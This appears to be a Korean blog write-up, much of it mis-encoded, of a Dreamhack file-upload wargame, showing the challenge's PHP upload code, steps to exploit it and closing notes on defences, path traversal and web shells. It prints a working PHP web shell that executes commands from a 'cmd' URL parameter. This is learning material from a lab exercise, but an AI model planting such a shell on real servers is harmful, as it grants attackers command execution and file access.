๐๏ธ Access
php๋ก ์์ฑ๋ ํ์ผ ์ ์ฅ ์๋น์ค์ด๋ค.
ํ์ผ ์ ๋ก๋ ์ทจ์ฝ์ ์ ์ด์ฉํด ํ๋๊ทธ๋ฅผ ํ๋. ํ๋๊ทธ๋ /flag.txt์ ์๋ค.
๐พ Exploit Algorithm & Payload
> index.php
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">Image Storage</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/list.php">List</a></li>
<li><a href="/upload.php">Upload</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/>
<div class="container">
<h2>Upload and Share Image !</h2>
</div>
</body>
</html>
> list.php
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">Image Storage</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/list.php">List</a></li>
<li><a href="/upload.php">Upload</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/><br/>
<div class="container"><ul>
<?php
$directory = './uploads/';
$scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
foreach ($scanned_directory as $key => $value) {
echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
}
?>
</ul></div>
</body>
</html>
> upload.php
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES)) {
$directory = './uploads/';
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
if (file_exists($directory . $name)) {
echo $name . " already exists. ";
}else {
if(move_uploaded_file($tmp_name, $directory . $name)){
echo "Stored in: " . $directory . $name;
}
}
}
}else {
echo "Error !";
}
die();
}
?>
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">Image Storage</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/list.php">List</a></li>
<li><a href="/upload.php">Upload</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/><br/>
<div class="container">
<form enctype='multipart/form-data' method="POST">
<div class="form-group">
<label for="InputFile">ํ์ผ ์
๋ก๋</label>
<input type="file" id="InputFile" name="file">
</div>
<input type="submit" class="btn btn-default" value="Upload">
</form>
</div>
</body>
</html>
#1
: '/upload.php' ํ์ด์ง์์ ํ์ผ์ ์ ๋ก๋ ํ ์ ์๋ ๊ฒ์ ํ์ธํ๋ค.
: '/list.php' ํ์ด์ง์์ ํ์ผ์ ์ ๋ก๋ํ๋ฉด ๋ชฉ๋ก์ ํ์ธํ ์ ์์ ๊ฒ์ผ๋ก ๋ณด์ธ๋ค.
#2
: .php ํ์ฅ์๋ก ์ ๋ก๋ ์๋ํ์๋๋ './uploads/'๋ผ๋ ๊ฒฝ๋ก์ upload.php๊ฐ ์ ์ฅ๋๋ค๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
: URL์ /uploads๋ผ๋ ํด๋์ ์ ๊ทผํ์๋๋ ํด๋ ์ ๊ทผ์ด ๊ฐ๋ฅํ ๊ฒ์ผ๋ก ํ์ธ๋๋ค.
: ๋ํ '/list.php' ํ์ด์ง์ ๋ฐฉ๊ธ ์ ๋ก๋ ํ๋ ํ์ผ์ ํ์ธํ ์ ์๊ณ , ํด๋ฆญ ์ '/uploads/test.php' ํ์ผ์ ์ ๊ทผํ ์ ์๋ค.
: ์ฌ๊ธฐ์๋ ํ์ผ ์ ๋ก๋๊ฐ ๊ฐ๋ฅํ์ง ํ์ธํ๊ธฐ ์ํด์ .php ํ์ฅ์์ ์๋ฌด๊ฒ๋ ์ ๋ ฅํ์ง ์์ ๊ฒฐ๊ณผ ๊ฐ์ ํ์ธํ ์ ์์์ง๋ง .php ๋ฐฑ๋์ด ์ ์ฝ๋๋ฅผ ์์ฑํ๋ฉด ์์คํ ์ ํด๋์ ์ ๊ทผํ ์ ์์ ๊ฒ์ผ๋ก ์์๋๋ค.
#3
echo 'Enter a Command:<br>';
echo '<form action="">';
echo '<input type=text name="cmd">';
echo '<input type="submit">';
echo '</form>';
if (isset($_GET['cmd'])) {
$commands = explode("\n", $_GET['cmd']); // Split commands by newline
foreach ($commands as $command) {
$output = shell_exec($command); // Execute each command
echo "<pre>$command:\n$output</pre><br>"; // Display command and output
}
}
?>
: .php ๋ฐฑ๋์ด ์คํฌ๋ฆฝํธ๋ฅผ ์์ฑํ ํ ์ ๋ก๋ํ๋ฉด '/uploads/exploit.php' ํ์ผ์์ '?cmd=' ํ๋ผ๋ฏธํฐ๋ฅผ ์ด์ฉํ ์์คํ ๋ช ๋ น์ ๋ณด๋ผ ์ ์๋ค.
๐Analysis and results for obtaining the Flag DH{…}
: ๋ฐฑ๋์ด ์คํฌ๋ฆฝํธ๋ฅผ ์ ๋ก๋ํ ํ, ์ ๋ก๋ํ ๊ฒฝ๋ก์์ ์์คํ ๋ช ๋ น์ ํตํด ํ์ผ์ ํ์ํ๊ณ FLAG๋ฅผ ํ๋ํ ์ ์๋ค.
[+]
: ํด๋น ๊ถํ์ ๋ํ ํ์ผ๋ค์ ์ด๋ํ์ฌ ์ฃผ์ ์ ๋ณด๋ฅผ ํ๋ํ ์๋ ์๋ค.
๐ Summary
-๋์๋ฐฉ์-
์น ๋ฆฌ์์ค๋ ์ ์ ๋ฆฌ์์ค(JPG, PNG, MPV, ..)์ ๋์ ๋ฆฌ์์ค(PHP, JSP)๋ก ๋ถ๋ฅํ ์ ์๋๋ฐ ๋์ ๋ฆฌ์์ค๋ ์๋ฒ์์ ์คํ๋๋ ๊ฒ์ผ๋ก ์ด ๋์ ๋ฆฌ์์ค์ ํ์ฅ์๋ฅผ ์ ํํ๋ค๋ฉด ํ์ผ ์ ๋ก๋ ์ทจ์ฝ์ ๊ณต๊ฒฉ์ผ๋ก๋ถํฐ ์๋ฒ๋ฅผ ๋ณดํธํ ์ ์์
AWS, Azure, GCP ๋ฑ์ ์ ์ ์คํ ๋ฆฌ์ง๋ฅผ ์ด์ฉํ์ฌ ์๋ฒ์ ํ์ผ ์์คํ
์ ์ด์ฉํ์ง ์๊ฒ ํ๋ ๊ฒ์ผ๋ก ์
๋ก๋ ์ทจ์ฝ์ ์ ์๋ฐฉํ ์ ์์
...
-File Vulnerability(File upload)-
| Path Traversal |
: ์ ์์ ์ด์ฉ์๊ฐ ์น ์๋ฒ์ ์์ค ์ฝ๋๋ ์๋ฒ์ ์๋ ์ค์ ์์คํ ํ์ผ์ ๋ณ์กฐ ๋ฐ ๋ฎ์ด์ฐ๊ธฐ์ ๊ฐ์ ํ๋์ ํ๊ธฐ ์ํด์ ์ ๋ก๋์ ์กด์ฌํ๋ ์ ์ฝ ์กฐ๊ฑด์ ์ฐํํ์ฌ ์์์ ๋๋ ํ ๋ฆฌ์ ํ์ผ์ ์ฐพ๊ณ ์ ๋ก๋ํ๋ ์ทจ์ฝ์ (./ , ../ , ๋ฑ๋ฑ )
| WebShell |
: .jsp, .php ๋ฑ์ ํ์ฅ์๋ก ์ํ๋ ์์คํ ๋ช ๋ น์ ์ ๋ก๋ ์์ผ (CGI(Command Graphic Interface)๋ก ์คํ๋๋ ํ์ผ) Path Traversal ์ทจ์ฝ์ ๊ณผ ์ฐ๊ณํ์ฌ ์ ๋ก๋ ํด๋๋ฅผ ๋ฒ์ด๋ ๊ณต๊ฒฉ์์ ํ์ผ์ ์ ์ฅ ๋ฐ ๋ณ๊ฒฝ ๋ฑ์ ๊ณต๊ฒฉ์ ์ํํ๋ ์ ๋ก๋ ์ทจ์ฝ์
'[Dreamhack]WebHacking > ๋ก๋๋งต_Basic' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack] Level2: web-ssrf (0) | 2023.09.09 |
---|---|
[Dreamhack] Level1: file-download-1 (0) | 2023.09.03 |
[Dreamhack] Level1: command-injection-1 (0) | 2023.08.24 |
[Dreamhack] Level2: Mango (0) | 2023.08.23 |
[Dreamhack] Level1: simple_sqli (0) | 2023.08.22 |